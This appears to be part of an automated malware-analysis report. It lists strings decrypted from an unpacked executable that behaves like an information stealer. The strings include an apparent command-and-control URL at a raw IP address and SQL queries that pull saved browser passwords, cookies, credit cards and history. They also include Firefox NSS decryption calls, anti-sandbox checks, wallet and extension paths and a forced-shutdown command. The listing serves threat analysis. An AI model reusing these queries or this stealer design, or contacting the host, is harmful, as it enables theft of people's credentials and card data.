Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 07
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 01
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 20
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: 25
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: lstrcatA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: OpenEventA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateEventA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CloseHandle
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Sleep
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: VirtualFree
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HeapAlloc
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: lstrlenA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ExitProcess
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: user32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: crypt32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateDCA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sscanf
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HAL9TH
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: JohnDoe
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DISPLAY
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: stok
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HeapFree
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetFileSize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GlobalSize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Process32Next
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Process32First
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: LocalFree
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: FindClose
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ReadFile
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: WriteFile
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateFileA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CopyFileA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetLastError
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GlobalFree
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: OpenProcess
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ole32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: wininet.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: shell32.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SelectObject
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BitBlt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DeleteObject
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GdipFree
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CoInitialize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetDC
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CloseWindow
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: wsprintfA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CharToOemW
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: wsprintfW
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: StrStrA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RmStartSession
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RmGetList
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: RmEndSession
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: encrypted_key
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PATH
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: NSS_Init
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: browser:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: profile:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: url:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: login:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: password:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Opera
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: OperaGX
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Network
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: cookies
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: .txt
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: TRUE
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: FALSE
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: autofill
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: history
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: cc
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: name:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: month:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: year:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: card:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Cookies
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Login Data
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Web Data
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: History
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: logins.json
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: usernameField
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: guid
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: places.sqlite
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: plugins
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: IndexedDB
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Opera Stable
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: CURRENT
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Local State
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: profiles.ini
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: chrome
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: opera
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: firefox
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: wallets
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: ProductName
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: x32
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: x64
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DisplayName
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: Network Info:
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack	String decryptor: - Country: ISO?
